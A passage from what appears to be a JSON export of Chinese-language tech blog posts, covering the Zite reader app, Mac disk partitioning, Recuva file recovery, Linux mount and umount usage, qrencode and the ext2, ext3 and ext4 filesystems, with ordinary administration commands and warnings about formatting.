是你直接選擇有興趣的主題，而它會自己從網路上蒐集這些主題的文章（這是它最厲害的地方），然後經過整理後，再交給你閱讀，不需要自己指定特定的網站來訂閱，所以很方便，而且常常會有意想不到的驚喜，像是可以發現很多以前自己不知道的優質網站。\nZite 有各種版本，包含 iPad、iPhone、Android 與 Windows Phone，以下是 Zite 在 iPad 上的使用畫面。\n一開始使用 Zite 時，當然要先選擇自己喜歡的主題。\nZite 中會列出比較常見的主題，而你也可以自己輸入各式各樣的主題。\n如果註冊了 Zite 帳號，就可以在不同的裝置同步 Zite 設定。\nZite 會將所有你選擇的主題組成一個「Your Top Stories」，方便閱讀。\n如果對特定的主題有很高的興趣，可以將其加入 Quicklist 中，這樣就以很快的列出該主題所有的文章與新聞。\n點選右上角的放大鏡，可以搜尋與加入新主題。\n在閱讀文章時，也可以順便找尋相關主題的文章。\n如果文章有相關的主題，就會顯示在文章的右下角，點下去就可以閱讀該主題的所有文章。\n閱讀新主題時，如果感覺不錯，可以點擊上方的愛心，將這個主題的文章加入「Your Top Stories」。\n如果想將主題加入 Quicklist，可以在點選「Add to Quicklist」。\n左上角的向左箭頭可以讓你返回之前的頁面，有點類似瀏覽器的功能。\nZite 就是這樣簡單實用。\n我自己用過 Zite 之後，就很少再用其他的 App 了，每天在閱讀文章時，都可以順便找尋新的有趣主題，讓每天都有新鮮事。\n最近過年回娘家，開車開累了休息時，就把 iPad 放在方向盤上，打開 Zite 看新聞，真是好用！\n","permalink":"https://blog.gtwang.org/mobile/zite-app/","summary":"\u003cp\u003e在傳統上在 iPad 上使用 Flipboard、Pulse News 或 Google 潮流同步 （Google currents）等新聞閱讀 App 時，你必須先行指定新聞的來源，也就是選擇自己喜歡的新聞網站，然後這類的 App 就會將這些選定網站的內容整理好給你，方便你一次閱讀所有有興趣的網站內容。\u003c/p\u003e","title":"Zite：iPad 與 Android 的新聞閱讀 App"},{"content":"在 Mac OS X 中，如果要分割或格式化硬碟，都可以使用內建的磁碟分割工具，使用這個工具分割硬碟很方便，操作都很直覺，是一個很好用的工具。 一般這個工具是放在「工具程式」裡面，到「應用程式」中找一找就有了，或是直接開 Launchpad 都可以。\n開啟「磁碟工具程式」之後，首先選擇要進行磁碟分割的硬碟，\n這裡要注意，選擇的時候，要直接選擇整顆硬碟，不要選擇分割區，因為只有硬碟可以進行分割，如果選擇分割區的話，就會發現找不到「分割」的功能。\n特別提醒：如果要對已經有磁碟分割表的硬碟進行分割時，原來的分割表與資料都會被刪掉，所以請先確定硬碟中的資料都是不要的，才進行磁碟分割，否則分割下去資料就都不見了！\n選擇好硬碟之後，右邊就會有一個「分割」的功能。\n點選分割功能之後，就可以看到目前磁碟的分割表，這時候就可以開始設定「分割區佈局」。\n首先在分割區佈局的選單中，選擇要將這個硬碟分割成幾個區域，磁碟工具提供很多選項，最多 16 個區域，一般的狀況應該都夠用。\n這個範例我們選擇 3 個分割區，決定好分割區的個數後，就可以在下方的分割表中用滑鼠拖拉的方式，調整每個分割區的容量大小。\n設定好每個分割區大小之後，再將每個分割區命名，如果不命名的話也可以，不過預設的分歌曲名稱是阿拉伯數字，建議還是為每個分割區取個適當的名字，使用上比較容易辨識。另外這裡也可以選擇要將分割區格式化成哪一種檔案系統。\n按下「套用」之後，會進行最後一次確認，如果確認沒問題，就按下「分割區」，就會進行磁碟分割了。\n再提醒一次：進行磁碟分割會將原本硬碟中的資料刪除，所以請確定硬碟中的資料都是不要用的，否則分割完之後，資料都會不見！\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-disk-utility-format/","summary":"\u003cp\u003e在 Mac OS X 中，如果要分割或格式化硬碟，都可以使用內建的磁碟分割工具，使用這個工具分割硬碟很方便，操作都很直覺，是一個很好用的工具。\n一般這個工具是放在「工具程式」裡面，到「應用程式」中找一找就有了，或是直接開 Launchpad 都可以。\u003c/p\u003e","title":"使用 Mac OS X 磁碟工具程式分割硬碟與格式化"},{"content":"平常在使用電腦時，難免會不小心把重要的檔案刪除，如果只是丟進資源回收桶，那倒還好，去資源回收桶找回來就可以了，但是如果連資源回收桶都清掉了，就要靠救援軟體了。\n這裡介紹一套檔案救援軟體 Recuva，他可以讓你很輕鬆的將刪掉的檔案找回來。\n下載免費版的 Recuva 首先到 Recuva 的官方網站下載安裝檔，網路上有些不用安裝的版本，不過我個人是不喜歡那種版本，因為這種工具的安裝很容易，沒有必要用免安裝的版本（除非你的電腦有權限問題，無法安裝），而且直接官方的安裝檔可以保證軟體的版本是最新的，比較不會有問題。\nRecuva 是由 Piriform 這家商業公司所發展的，所以是一套商業軟體（賣錢的），幸運的是他有免費（Free）的版本，雖然是免費的版本，不過功能就已經很棒了。\n下載時，就選擇左邊的免費版下載，裡面有兩個連結，兩個都可以，建議直接使用 Piriform.com 官方的連結，點下去就會連到自動下載的網頁。\n安裝 Recuva 下載完成後，就直接進行安裝，執行剛剛下載下來的安裝檔，\n安裝步驟很單純，都是直接按下一步就可以了，\n最後按「安裝」，\n這樣就安裝完成了！\n使用 Recuva 救回刪除的檔案 安裝完成後，就可以使用 Recuva 來救回已經刪除的檔案，首先打開 Recuva，預設的狀況下安裝完成後，在桌面上就會有一個 Recuva 的啓動圖示，點兩下就可以開啓了：\n開啟 Recuva 時，會出現指引精靈，它會代引你一步一步的回復被刪除的檔案，\n點選下一步後，會讓你選擇要救回的檔案是哪一種類型，例如圖片、音樂或影片等，\n選擇好之後，再繼續下一步，選擇被刪除之前，檔案所放置的位置，知道正確的位置可以讓救回的速度加快，\n選擇好之後，再繼續下一步，這時候所有的設定都已經完成，就可以點選「開始」，進行檔案的搜尋掃瞄。\n最後就會看到掃描的結果，Recuva 會把所有找到的檔案都列出來，選擇要救援的檔案後，就點選開始搶救，\n點選「開始搶救」之後，會讓你選擇救援回來的檔案要放置的位置，這裡要選擇將檔案放到不同的磁碟機，假設原本被刪掉的檔案放在 C 槽，則可選擇 D 槽或是隨身碟等，這樣檔案就回的機率才會比較高。\n選擇好檔案放置的位置之後，按下確定，就可以將要搶救的檔案救回來了。\n如果不知道檔案刪除前放置的位置，可以按下右方的「切換到進階模式」，就會顯示每個檔案的詳細內容。\n在進階模式中，每個檔名前面都有個圓圈，綠色代表檔案狀況良好，可以搶救，而橘色則代表狀況比較差，可能只能搶救一部分的內容。\nRecuva 深層掃瞄 在實際使用 Recuva 救援檔案時，應該會發現有些被刪掉的檔案在上面的掃描中沒有被列出來，這時候就可以試試深層掃描的功能，在掃描前點選「深層掃瞄」的選項。\n點選「開始之後」，就會開始進行深層掃描。\n使用深層掃描會比較耗時，出來的結果也會多出非常多，不過很多檔案是被標示為紅色的圈，代表無法搶救（檔案內容已經損毀了）。\n通常剛剛被刪掉的檔案，經過深層掃描後都可以搶救回來，不過有時候也是要靠運氣，如果運氣不好的時候，也是會有救不回來的狀況。\n原則上檔案大小越小的的檔案，救回來的機率越高，而刪除掉的檔案，越快進行救援則越容易救回來，所以如果發現自己的檔案被刪掉了，就要趕緊使用 Recuva 來救援，這樣會比較有機會救回來。\n","permalink":"https://blog.gtwang.org/useful-tools/recuva-windows/","summary":"\u003cp\u003e平常在使用電腦時，難免會不小心把重要的檔案刪除，如果只是丟進資源回收桶，那倒還好，去資源回收桶找回來就可以了，但是如果連資源回收桶都清掉了，就要靠救援軟體了。\u003c/p\u003e","title":"使用 Recuva 救回刪除的檔案：好用的 Windows 硬碟救援工具"},{"content":"在 Windows 系統中如果裝了好多顆硬碟、光碟機或是隨身碟，系統就會自動幫這些設備（device）編號，例如第一顆硬碟通常就會是 C 槽，第二顆就是 D 槽，如果又有光碟機或隨身碟，就依序編下去，而在「我的電腦」中打開後，就可以存取設備（硬碟、光碟或隨身碟）中的檔案，這是大家應該都很習慣的事情。\n不過在 Linux 系統中就不是這樣，所有可存取的檔案都被安置在一個很大的目錄樹（也就是根目錄「/」）底下的某ㄧ個位置，如果要存取某個設備上的檔案，就必須先把這個設備掛載（mount）上來後，才能夠讀取或寫入資料，例如在新增硬碟、存取 USB 隨身碟或是讀取 CD-ROM 時，都需要掛載的動作。\n雖然現在大家常用的的 Linux distribution 大部分都有自動掛載 USB 或 CD-ROM 的功能，不過難免還是會需要用到指令的時候。這裡將介紹在 Linux 中常用的掛載方式，也就是 mount 與 umount 兩個指令的使用方式，一般若要使用 mount 指令掛載 device，最常見的方式就是像這樣：\nmount -t type device dir 其中 device 是就是要掛載的設備，而 -t type 參數是指定 device 的檔案系統格式（如 ext4、vfat 或 ntfs 等），最後的 dir 則是指定掛載的路徑（也就是要把這個設備掛在目錄樹的哪裡）。\n在設備存取完畢後，如果要移除設備（例如拔除 USB 隨身碟），必須要先把設備卸載，以免資料沒有同步寫入設備而造成資料損毀。要卸載設備則使用 umount 指令：\numount dir umount 的參數只需要指定掛載的路徑即可。\n以下是一些 mount 與 umount 常見的使用範例：\n掛載光碟（CD-ROM 或 DVD-ROM） 如果 Linux 有抓到光碟機，正常的情況在 /dev 中會有一個叫做 cdrom 的檔案，它是一個連結（link）檔，指到真正的設備（通常是 /dev/sr0），如果想知道，可以用 ls -l 看一下：\nls -l /dev/cdrom 輸出為：\nlrwxrwxrwx 1 root root 3 2013-01-08 16:55 /dev/cdrom -\u003e sr0 如果要讀取光碟片中的內容，先將光碟片放進光碟機後之後，執行 mount 指令：\nsudo mount -t iso9660 -o ro /dev/cdrom /mnt/cdrom 這裡將 /dev/cdrom 這個光碟機掛載到 /mnt/cdrom 這個目錄，這個目錄可以自己選擇，不過要先確認這個目錄是存在的，如果指定的目錄不存在記得要用 mkdir 先建立。\n第一個參數 -t iso9660 是指定光碟的檔案格式，這個通常是不需要修改的，只要掛載光碟就是這樣使用。\n另外一個參數 -o ro 參數是指定這個設備是唯讀的（read only），因為正常的光碟片只能讀取，不能寫入，所以要加上這個參數，如果想燒錄光碟片的話，就要使用其它燒錄專用的工具了。\n掛載 ISO 影像檔 ISO 影像檔是常常會使用到的檔案格式（例如下載各種 Linux 的安裝光碟），通常 ISO 檔都是用來直接燒錄成光碟片，沒辦法直接讀取，如果想在 Linux 中直接讀取 ISO 檔案內容，就需要先用 mount 指令將 ISO 檔案掛載後，才能讀取其中的資料：\nmount -t iso9660 -o loop /home/seal/myiso.iso /mnt/myiso 其中所使用的參數有兩個，-t iso9660 是指定 ISO 檔案格式，-o loop 則是使用 loop device 來掛載 ISO 檔，基本上這兩個參數都不需要更動，之後就是指定 ISO 檔案的位置與掛載點的位置，這樣掛載 ISO 檔案之後，/mnt/myiso 目錄中就可以看到這個 ISO 影像檔的內容了。\n查看所有的掛載資訊 如果想查看系統中所有設備掛載的狀況，可以直接執行 mount 指令不加任何參數：\nmount 輸出為：\n/dev/sda1 on / type ext4 (rw,errors=remount-ro) proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) none on /sys/fs/fuse/connections type fusectl (rw) none on /sys/kernel/debug type debugfs (rw) none on /sys/kernel/security type securityfs (rw) udev on /dev type devtmpfs (rw,mode=0755) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620) tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) none on /run/shm type tmpfs (rw,nosuid,nodev) /home on /export/home type none (rw,bind) /opt on /export/opt type none (rw,bind) nfsd on /proc/fs/nfsd type nfsd (rw) rpc_pipefs on /run/rpc_pipefs type rpc_pipefs (rw) /dev/sdb1 on /media/usb type vfat (rw) /dev/sr0 on /media/cdrom type iso9660 (ro) 上面這個輸出中的倒數第二行是一個 USB 隨身碟（/dev/sdb1），掛載路徑為 /media/usb。最後一行則是光碟，掛載路徑為 /media/cdrom。\n除了使用 mount 指令之外，也可以使用 df 指令：\ndf -h 輸出為：\n檔案系統 容量 已用 可用 已用% 掛載點 /dev/sda1 116G 12G 98G 11% / udev 16G 4.0K 16G 1% /dev tmpfs 6.3G 344K 6.3G 1% /run none 5.0M 0 5.0M 0% /run/lock none 16G 0 16G 0% /run/shm /dev/sdb1 30G 6.6G 24G 22% /media/usb /dev/sr0 4.0G 4.0G 0 100% /media/cdrom mount 指令所輸出的資訊較詳盡，而 df 指令則是會輸出每個儲存裝置的空間使用狀況，在一般的狀況下，若只是要看設備掛載的路徑的話，使用 df 指令就夠了。\n掛載 /etc/fstab 中所有的設備（device） Linux 系統中的 /etc/fstab 這個檔案是紀錄開機過程中會自動掛載的設備，有時候因為某些因素（例如格式化硬碟等），系統管理者會在開機過後手動 umount 某些設備，如果想要一次把 /etc/fstab 中所有的設備都掛載上去的話，可以用 mount 加上 -a 參數，以下是一個範例：\n假設 /etc/fstab 的內容如下：\n# proc /proc proc nodev,noexec,nosuid 0 0 # / was on /dev/sda5 during installation /dev/sda5 / ext4 errors=remount-ro 0 1 # /mydata was on /dev/sda6 during installation /dev/sda6 /mydata ext2 defaults 0 2 # /backup was on /dev/sda7 during installation /dev/sda7 /backup vfat defaults 0 3 使用 mount 指令將以上的設備全數掛載：\nsudo mount -a 使用 -a 參數時，mount 指令會把 /etc/fstab 中所有的設備依照設定的路徑掛載，以這個範例而言就是將 /dev/sda6 掛載到 /mydata，而 /dev/sda7 則掛載到 /backup，而原本就已經掛載的目錄就會自動跳過，例如 /dev/sda5 這個是根目錄，一般都會是以掛載的狀態，就會自動跳過。\n用 mount 指令查看：\nmount 輸出為：\n/dev/sda5 on / type ext4 (rw,errors=remount-ro) proc on /proc type proc (rw,noexec,nosuid,nodev) sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) none on /sys/fs/fuse/connections type fusectl (rw) none on /sys/kernel/debug type debugfs (rw) none on /sys/kernel/security type securityfs (rw) udev on /dev type devtmpfs (rw,mode=0755) devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620) tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755) none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880) none on /run/shm type tmpfs (rw,nosuid,nodev) /dev/sda6 on /mydata type ext2 (rw) /dev/sda7 on /backup type vfat (rw) gvfs-fuse-daemon on /home/bala/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=bala) mount 的 -a 參數可以一次掛載所有的設備，而 umount 也有對應的 -a 參數，可以一次卸載所有的設備：\nsudo umount -a 輸出為：\numount: /run/shm: device is busy. (In some cases useful info about processes that use the device is found by lsof(8) or fuser(1)) umount: /run: device is busy. (In some cases useful info about processes that use the device is found by lsof(8) or fuser(1)) umount: /dev: device is busy. (In some cases useful info about processes that use the device is found by lsof(8) or fuser(1)) umount: /: device is busy. (In some cases useful info about processes that use the device is found by lsof(8) or fuser(1)) 這時後會出現一些訊息，顯示某一些設備無法卸載，這是因為這些都是系統主要的檔案，在系統運行時無法卸載，而其餘沒有顯示的部分都會全部卸載。\n掛載 /etc/fstab 中的某一項的設備 如果只是想掛載某一項設備，而這個設備剛好有寫在 /etc/fstab 中，那麼在掛載時就只需要指定掛載路徑，mount 指令會自己依照 /etc/fstab 中的設定去找到設備並掛載。\n假設 /etc/fstab 中有一行設定如下：\n/dev/sda6 /mydata ext2 defaults 0 2 那麼要掛載 /mydata 就只需要執行：\nsudo mount /mydata 這樣 /dev/sda6 就會被掛載到 /mydata 這個位置。\n除了指定掛載位置，也可以直接指定設備，也就是這樣：\nsudo mount /dev/sda6 兩種寫法都可以。\n查看指定檔案系統的設備 如果只想查看某一種檔案系統的掛載設備，可以使用 mount 指令配合 -l 與 -t 兩個參數，例如查看檔案系統為 Ext2 的掛載設備：\nmount -l -t ext2 輸出為：\n/dev/sda6 on /mydata type ext2 (rw) 查看檔案系統為 Ext4 的掛載設備：\nmount -l -t ext4 輸出為：\n/dev/sda5 on / type ext4 (rw,errors=remount-ro) 使用 -l 與 -t 兩個參數時，mount 就只會列出符合指定檔案系統的設備。\n掛載軟碟機 軟碟機在現在這個時代應該幾乎已經沒有人在用了，所以就簡單介紹一下指令，掛載指令為：\nsudo mount /dev/fd0 /mnt/floppy 卸載指令：\nsudo umount /mnt/floppy 變更設備掛載點 如果想將已經掛載的設備掛載點更換位置，一般直覺得做法是先卸載後再重新掛載，但其實有更快的方式，就是利用 --move（或 -M）參數，例如要將 /mydata 變更為 /mnt/data2，則執行：\nsudo mount -M /mydata /mnt/data2 這樣原本掛載在 /mydata 的設備就會搬到 /mnt/data2 了。執行完後可以檢查一下：\nmount | grep /mydata mount | grep /mnt/data2 輸出為\n/dev/sda6 on /mnt/data2 type ext2 (rw) 在不更動 /etc/mtab 的情況下掛載 在一般的狀況下 mount 與 umount 指令會將目前的掛載狀態寫入 /etc/mtab 這個檔案中，而使用 mount 指令查看掛載狀態時就是輸出這個檔案的內容，但如果 /etc 是以唯讀（read-only）的方式掛載時，這個檔案就無法寫入，這時候可以使用 -n 參數：\nsudo mount -n /dev/sda6 /mydata 這樣的掛載方式不會更新 /etc/mtab，所以在使用 mount 查看掛載狀態時，就不會出現這個設備：\nmount | grep /mydata grep /mydata /etc/mtab 這兩個都沒有任何輸出，但事實上 /dev/sda6 這個設備已經被掛載在 /mydata 上了。\ncd /mydata ls 輸出為\ndir1 dir2 test 以唯讀（Read-Only）的方式掛載設備 一般正常使用 mount 指令掛載時，預設會以可讀寫（-w 或 -o rw）的方式掛載，若要以唯讀的方式掛載設備，可以加上 --read-only 或 -r 參數，這個參數的作用相當於 -o ro。\nsudo mount -r /dev/sda6 /mydata mount | grep /mydata 輸出為\n/dev/sda6 on /mydata type ext4 (ro) 雖然這裡使用唯讀的方式掛載，但若設備的檔案系統為 Ext 3 或 Ext 4，且設備之前有資料寫入不完全或錯誤的狀況（例如硬碟寫入到一半突然斷電）的話，系統還是會依照 journal 重新寫入資料到設備中，如果要避免這樣的狀況發生，就要再加入一個 noload 參數：\nsudo mount /dev/sda6 /mydata -t ext4 -o ro -o noload mount | grep /mydata 輸出為\n/dev/sda6 on /mydata type ext4 (ro,noload) 將掛載點綁定（bind）至新的位置 當一個設備被掛載之後，其掛載的目錄位置稱作這個設備的掛載點，正常來說一個掛載的設備會有一個掛載點，但有些情況會需要將一個設備掛載在多的掛載點上，讓多個掛載點可以同時存取設備中的檔案，這個時候就要使用 mount 指令的 bind 的功能，加上 --bind（或是 -B）參數並指定既有的掛載點與新的掛載點：\nmount --bind olddir newdir 或是用更精簡的寫法\nmount -B olddir newdir 其中這樣 olddir 是原本的掛載點，而 newdir 則是新的掛載點，執行上述的指令之後，這個設備就可以同時由 olddir 與 newdir 這兩個地方來存取。\n以下是一個實際的範例，假設某項設備已經被掛載到 /mydata 這個掛載點，我們想將這個設備重復掛載到 /mnt/data2 這個位置，則執行：\nsudo mount -B /mydata /mnt/data2 接著檢查一下掛載狀態：\nmount | grep /mydata 輸出為：\n/dev/sda6 on /mydata type ext2 (rw) /mydata on /mnt/data2 type none (rw,bind) 這樣就表示掛載完成了，接著測試一下，首先檢查 /mydata 中的內容：\ncd /mydata ls 輸出為：\ntest 接著在 /mydata 建立兩個資料夾：\nmkdir dir1 mkdir dir2 ls 輸出為：\ntest dir1 dir2 然後再查看 /mnt/data2 中的內容：\ncd /mnt/data2 ls 輸出為：\ntest dir1 dir2 由這個小測試就可以看得出來，/mydata 與 /mnt/data2 這兩個資料夾其實是同一個設備，不管從哪邊存取都是一樣的，這樣大家應該就會比較瞭解 bind 的意思了。\n上面的新的掛載點其掛載方式會跟原始的掛載點相同，如果想變更新掛載點的掛載選項（例如以唯讀方式掛載），則可使用 mount 指令加上 remount 參數來設定新的掛載點選項：\nsudo mount --bind olddir newdir sudo mount -o remount,ro newdir 第二行就是設定 newdir 以唯獨方式掛載。\n一次卸載多個設備 若要一次卸載多個設備，可以直接使用 umount 指令加上多個挂載點參數：\nsudo umount /mydata /backup 延遲（Lazy）卸載功能 有時候我們想要卸載某個設備，但這個設備還在進行一些資料的存取（例如複製檔案等），但又不想等它做完所有的事情才下 umount 指令（例如要下班了），這時候就可以使用 umount 指令的 lazy 功能，他會等到設備把所有的事情都做完之後，才進行卸載：\nsudo umount -l /mydata 強制卸載設備 umount 指令有提供一個強制卸載功能，這個功能通常用於 NFS 的掛載出問題時（例如網路斷線），讓管理者可以強制把斷線的 NFS 卸載，若要強制卸載則使用 -f 參數：\nsudo umount -f /mnt/data3 而有時候因為某些不明因素，卸載設備時會有問題，最常見的問題就是設備還在被某些行程（process）使用，這時候可以使用 ps 指令看看系統中有沒有什麼行程在使用要卸載的設備：\nps ajx | grep /mydata 輸出可能會像這樣：\n2540 3037 3037 2468 pts/2 3037 D+ 0 0:00 cp -r /home/geekstuff/ProjectData/ /mydata 另外也可以使用 fuser 指令看看是哪一個行程在使用要卸載的設備：\nfuser -cu /mydata 輸出為：\n/mydata:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;3087(root) fuser 輸出會顯示行程的 ID（Process ID）與使用者名稱。透過這樣的方式，就可以很快得知到底是誰在使用這個設備了。\n","permalink":"https://blog.gtwang.org/linux/linux-mount/","summary":"\u003cp\u003e在 Windows 系統中如果裝了好多顆硬碟、光碟機或是隨身碟，系統就會自動幫這些設備（device）編號，例如第一顆硬碟通常就會是 C 槽，第二顆就是 D 槽，如果又有光碟機或隨身碟，就依序編下去，而在「我的電腦」中打開後，就可以存取設備（硬碟、光碟或隨身碟）中的檔案，這是大家應該都很習慣的事情。\u003c/p\u003e","title":"Linux 檔案系統掛載（mount）使用教學與範例"},{"content":"二維條碼（QR code）是現在很常用的編碼方式，將網址轉為二維條碼之後，使用一般具有相機功能的智慧型手機就可以馬上讀取其中的資訊，省去手動輸入的麻煩。\n一般生活中，最常見到的二維條碼就是現在最新的電子發票了：\n發票右邊的正方形區域就是二維條碼，而有些商品上面也會有二維條碼，例如便利商店的麵包：\n在 Linux 中，如果想產生二維條碼，可以使用 qrencode 這個程式，這是一個免費且開放原始碼的小程式，專門用來將文字訊息轉換為二維條碼的圖片。\n在使用 qrencode 前要先安裝，如果在 Ubuntu Linux 中可使用 apt 安裝：\nsudo apt-get install qrencode 其餘的 Linux 若沒有現成的套件可用，也可以直接上 qrencode 的官方網站下載原始碼編譯後安裝，這種小程式應該很好裝的。\n裝好之後，就可以使用了，這個程式的作用就是把一串文字（通常是網址）轉換成二維條碼，例如：\nqrencode -o sealmemory.png \u0026#39;http://sealmemory.blogspot.tw/\u0026#39; 其中 -o 參數是指定產生的圖檔檔名，最後一個參數就加上要轉換的文字訊息，轉換出來的 QR Code 為：\n如果感覺圖片太小，可以使用 -s 參數調整大小：\nqrencode -o sealmemory2.png -s 6 \u0026#39;http://sealmemory.blogspot.tw/\u0026#39; 轉換出來的 QR Code 為：\n因為二維條碼在用手機或是平板電腦的鏡頭讀取時，難免會有影像不清楚或是模糊的狀況，這樣的狀況會導致隱藏在其中的資訊錯誤，若要減低這樣的狀況，可以調整二維條碼的錯誤修復層級（Error Collectin Level），錯誤修復層級分為四種：\nL（Low）：最多可修正 7% 的資訊。 M（Medium）：最多可修正 15% 的資訊。 Q（Quartile）：最多可修正 25% 的資訊。 H（High）：最多可修正 30% 的資訊。 qrencode 預設的錯誤修復層級為 L，如果要調整可以使用 -l 參數，例如將錯誤修復層級設定為 H：\nqrencode -o sealmemory3.png -s 6 -l H \u0026#39;http://sealmemory.blogspot.tw/\u0026#39; 轉換出來的 QR Code 為：\n有了這個二維條碼，只要拿手機上可以讀取二維條碼的 App，就可以輕鬆讀取其中的資訊了。\n","permalink":"https://blog.gtwang.org/useful-tools/linux-qrencode-qr-code/","summary":"\u003cp\u003e二維條碼（QR code）是現在很常用的編碼方式，將網址轉為二維條碼之後，使用一般具有相機功能的智慧型手機就可以馬上讀取其中的資訊，省去手動輸入的麻煩。\u003c/p\u003e","title":"在 Linux 中使用 qrencode 產生二維條碼（QR Code）"},{"content":"隨著 Linux 的版本演進，其檔案系統也不斷的在更新，在 Linux 中常見的檔案系統有 Ext 2、Ext 3 與 Ext 4 這幾種，這些檔案系統都是為了 Linux 而設計的，本篇主要在介紹這幾種檔案系統的主要差異，與一些相關 Linux 指令的使用方式。\n檔案系統簡介 這裡介紹 Ext 2、Ext 3 與 Ext 4 這些檔案系統的特色，與其中主要的差異。\nExt 2 檔案系統 Ext 2（second extended file system）檔案系統誕生於西元 1993 年，是為了改善既有的 Ext 檔案系統而設計的，以下是這個檔案系統的特色：\n沒有日誌（journaling）功能。 因為沒有日誌功能，Ext 2 檔案系統比較適合用於 flash 的儲存設備或一般 USB 隨身碟。 磁碟容量最大可以支援到 32 TB。 單一檔案最大可以支援到 2 TB。 Ext 3 檔案系統 Ext 3 檔案系統誕生於西元 2001 年，顧名思義就是 Ext 2 的下一版，Linux 的版本從 Kernel 2.4.15 開始支援這個檔案系統，其特色如下：\n加入日誌功能，日誌功能是在硬碟中規劃出一個區塊，專門用於記錄資料寫入與修改的動作，如果在硬碟寫入的過程發生問題，可以藉由日誌的紀錄加速硬碟的修復，日誌的記錄方式可分為三種： Journal：記錄 Metadata 與內容。 Ordered：只記錄 Metadata，在內容寫入磁碟之後，記錄 Metadata，此為預設選項。 Writeback：只記錄 Metadata，在內容寫入磁碟之前或之後，記錄 Metadata。 磁碟容量最大可以支援到 32 TB。 單一檔案最大可以支援到 2 TB。 Ext 2 的檔案格式可以直接轉換成 Ext 3，不需要經過額外備份與還原的動作。 Ext 4 檔案系統 Ext 4 檔案系統是 Ext 3 的下一版，誕生於西元 2008 年，Linux 的版本從 Kernel 2.6.19 開始支援，特色如下：\n支援大容量的磁碟與單一檔案： 磁碟容量最大可以支援到 1 EB（1 EB = 1024 PB，1 PB = 1024 TB）。 單一檔案最大可以支援到 16 TB。 單一目錄最多可以存放 64,000 個子目錄（在 Ext 3 只能存放 32,000 個）。 相容於 Ext 3 檔案格式，可以直接以 Ext 4 的檔案格式掛載（mount）Ext 3 檔案系統的磁碟。 提供將日誌功能關閉的選項。 其餘 Ext 4 新功能有：multiblock allocation、delayed allocation、journal checksum、fast fsck 等，這些都是改善 Ext 3 效率與可靠性的功能。 判斷檔案系統 目前 Linux 最新的檔案系統是 Ext 4，如果想要把檔案系統更新為 Ext 4，首先就是要確認目前所使用的檔案系統是哪一個，這裡介紹一些判斷檔案系統的方式。\n方法一：使用 df 指令 第一種方式是使用 df 指令：\ndf -T | awk \u0026#39;{print $1,$2,$NF}\u0026#39; | grep \u0026#34;^/dev\u0026#34; 輸出為\n/dev/sda1 ext4 / /dev/sdb1 ext4 /ruser 很明顯的可以看到，第二個欄位就是檔案系統名稱。\n方法二：使用 mount 指令 使用 mount 指令：\nmount | grep \u0026#34;^/dev\u0026#34; 輸出為\n/dev/sda1 on / type ext4 (rw,errors=remount-ro) /dev/sdb1 on /ruser type ext4 (rw) 這個輸出也很明顯可以分辨檔案系統。\n方法三：使用 file 指令 使用 file 指令會輸出更多的資訊，但缺點是需要 root 權限。\nsudo file -sL /dev/sda1 輸出為\n/dev/sda1: Linux rev 1.0 ext4 filesystem data, UUID=684530e1-df5c-48d7-b3e4-eb0d47054877 (needs journal recovery) (extents) (large files) (huge files) 另一顆硬碟：\nsudo file -sL /dev/sdb1 輸出為\n/dev/sdb1: Linux rev 1.0 ext4 filesystem data, UUID=146d3bb3-e351-45c8-ac84-42534ce51d29 (needs journal recovery) (extents) (large files) (huge files) 方法四：查看 /etc/fstab 檔案 如果您要檢查的檔案系統有設定好自動掛載的話，也可以直接看 /etc/fstab 這個檔案。\ncat /etc/fstab 輸出為\n# /etc/fstab: static file system information. ## ## Use 'blkid -o value -s UUID' to print the universally unique identifier ## for a device; this may be used with UUID= as a more robust way to name ## devices that works even if disks are added and removed. See fstab(5). ## ## \u0026lt;file system\u0026gt; \u0026lt;mount point\u0026gt; \u0026lt;type\u0026gt; \u0026lt;options\u0026gt; \u0026lt;dump\u0026gt; \u0026lt;pass\u0026gt; proc /proc proc nodev,noexec,nosuid 0 0 ## / was on /dev/sda1 during installation UUID=684530e1-df5c-48d7-b3e4-eb0d47054877 / ext4 errors=remount-ro 0 1 ## swap was on /dev/sda5 during installation UUID=35ddf35e-87de-4ab0-88d1-2a654d36b19a none swap sw 0 0 ## /home was on /dev/sdb1 during installation ##UUID=9746f325-1c82-4c04-b447-b5c596eea6c1 /backup ext4 defaults 0 2 其中的 swap 是 Linux 的暫存硬碟，這裡不用理會他。\n方法五：使用 fsck 指令 使用 fsck 指令：\nfsck -N /dev/sda1 輸出為\nfsck from util-linux-ng 2.17.2 [/sbin/fsck.ext4 (1) -- /] fsck.ext4 /dev/sda1 另一顆硬碟：\nfsck -N /dev/sdb1 輸出為\nfsck from util-linux-ng 2.17.2 [/sbin/fsck.ext4 (1) -- /ruser] fsck.ext4 /dev/sdb1 以上幾種判斷檔案系統的方式，輸出都大同小異，可依照喜好自行選擇要使用哪一的方式。\n建立與轉換檔案系統 以下的指令僅供參考，不可直接複製執行，請依照您系統的設定自行修改指令內容，若不當使用，可能造成系統或資料損毀！\n建立 Ext 2 檔案系統 使用 mke2fs 指令：\nsudo mke2fs /dev/sda1 建立 Ext 3 檔案系統 使用 mkfs.ext3 指令：\nsudo mkfs.ext3 /dev/sda1 或是用 mke2fs 指令：\nsudo mke2fs –j /dev/sda1 建立 Ext 4 檔案系統 使用 mkfs.ext4 指令：\nsudo mkfs.ext4 /dev/sda1 或是使用 mke2fs 指令：\nsudo mke2fs -t ext4 /dev/sda1 從 Ext 2 轉換為 Ext 3 檔案系統 如果要將 /dev/sda1 從 Ext 2 轉換為 Ext 3，則可使用 tune2fs 這個指令：\nsudo umount /dev/sda1 sudo tune2fs -j /dev/sda1 sudo mount /dev/sda1 /home 這裡的做法是將硬碟卸載後再做轉換，不過也可以在掛載的狀況下直接轉換，也就是省略 umount 與 mount。\n從 Ext 3 轉換為 Ext 